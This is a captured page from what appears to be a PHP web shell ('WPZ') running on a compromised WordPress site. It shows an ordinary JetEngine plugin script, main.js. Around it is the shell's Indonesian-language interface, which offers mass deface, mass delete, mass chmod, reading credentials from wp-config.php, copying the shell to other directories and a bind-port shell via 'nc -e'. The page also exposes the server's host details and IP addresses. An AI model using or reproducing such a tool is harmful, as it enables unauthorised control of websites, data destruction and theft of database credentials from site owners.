WPZ

/ web / 1 / 000 / 076 / 129 / 313906 / htdocs / wp-content / plugins / jet-engine / assets / lib / jet-plugins / src / [dxwrx-r--r]
berkas terminal database massal sistem
/web/1/000/076/129/313906/htdocs/wp-content/plugins/jet-engine/assets/lib/jet-plugins/src/main.js (3.32 KB)
import { createHooks } from '@wordpress/hooks';

class JetPlugins {

	hooks;
	globalNamespace  = 'jet-plugins';
	blocksNamespace  = 'frontend.element-ready';
	blocksConditions = {};

	constructor( hooksHandler ) {
		this.hooks = hooksHandler || createHooks();
	}

	hookNameFromBlock( block ) {
		const name = this.getBlockName( block );

		return name
		       ? `${ this.globalNamespace }.${ this.blocksNamespace }.${ name }`
		       : '';
	}

	getBlockName( block ) {
		if ( 'string' === typeof block ) {
			return block.replace( '/', '.' );
		}

		return this.getBlockName( block?.dataset?.isBlock || '' );
	}

	init( $scope, blocks, namespace ) {

		namespace = namespace || false;

		// Attach blocks callback early if used. Its optional, maybe used to
		// make sure handlers attached before hooks called
		if ( blocks && blocks.length ) {
			this.bulkBlocksInit( blocks );
		}

		// Init in some scope if needed. By default on body
		$scope = $scope || jQuery( 'body' );

		if ( $scope && $scope.length ) {

			let blockSelector = '[data-is-block*="/"]';
			if ( namespace ) {
				blockSelector = '[data-is-block*="' + namespace + '/"]';
			}
			let $blocksList = $scope.find( blockSelector );
			$blocksList && $blocksList.length &&
			$blocksList.each( ( index, el ) => {
				this.initBlock( el );
			} );
		}
	}

	/**
	 * Check if given block requires initializtion
	 *
	 * @param  DOMNode  el Specific node of given block
	 * @return {Boolean}
	 */
	isBlockRequiresInit( el ) {

		// Intially check if block was already initialized - if yes, we don't
		// need do it again
		let needInit    = undefined === el.dataset.jetInited;
		const blockHook = this.getBlockName( el );

		// If block was not initialized before - check if it has condition
		// callback to allow initializtion or not If it has - allow
		// initializtion only if condition callback return TRUE
		if ( needInit && this.blocksConditions[ blockHook ] ) {
			needInit = this.blocksConditions[ blockHook ]( el );
		}

		return needInit;
	}

	initBlock( el, forceInit ) {

		forceInit       = forceInit || false;
		const blockHook = this.hookNameFromBlock( el );

		if ( blockHook && this.hasHandlers( blockHook ) ) {

			// Initially check if force initialization passed as argument.
			// In this case block will be initialized anyway
			let needInit = forceInit;

			// If force init not required - check if we need to initilize it
			if ( !needInit ) {
				needInit = this.isBlockRequiresInit( el );
			}

			if ( needInit ) {
				this.hooks.doAction( blockHook, jQuery( el ) );
				el.dataset.jetInited = true;
			}

		}
	}

	hasHandlers( hookName ) {

		if ( !this.hooks.actions[ hookName ] ) {
			return false;
		}

		if ( !this.hooks.actions[ hookName ].handlers ||
			!this.hooks.actions[ hookName ].handlers.length ) {
			return false;
		}

		return true;
	}

	registerBlockHandlers( block ) {
		const blockName = this.getBlockName( block.block );

		this.hooks.addAction(
			this.hookNameFromBlock( blockName ),
			`${ this.globalNamespace }/${ block.block }`,
			block.callback,
		);

		if ( block.condition && 'function' === typeof block.condition ) {
			this.blocksConditions[ blockName ] = block.condition;
		}

	}

	bulkBlocksInit( blocks ) {

		for ( var i = 0; i < blocks.length; i++ ) {
			this.registerBlockHandlers( blocks[ i ] );
		}

	}

}

window.JetPlugins = window.JetPlugins || new JetPlugins();
namawaktuukuranownerpermaksi
..
main.js 2026-07-21 14:153.32 KB 76129f60960:kunden-xw-x-----
edt
aksi pada path manual

cwd: /web/1/000/076/129/313906/htdocs/wp-content/plugins/jet-engine/assets/lib/jet-plugins/src
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK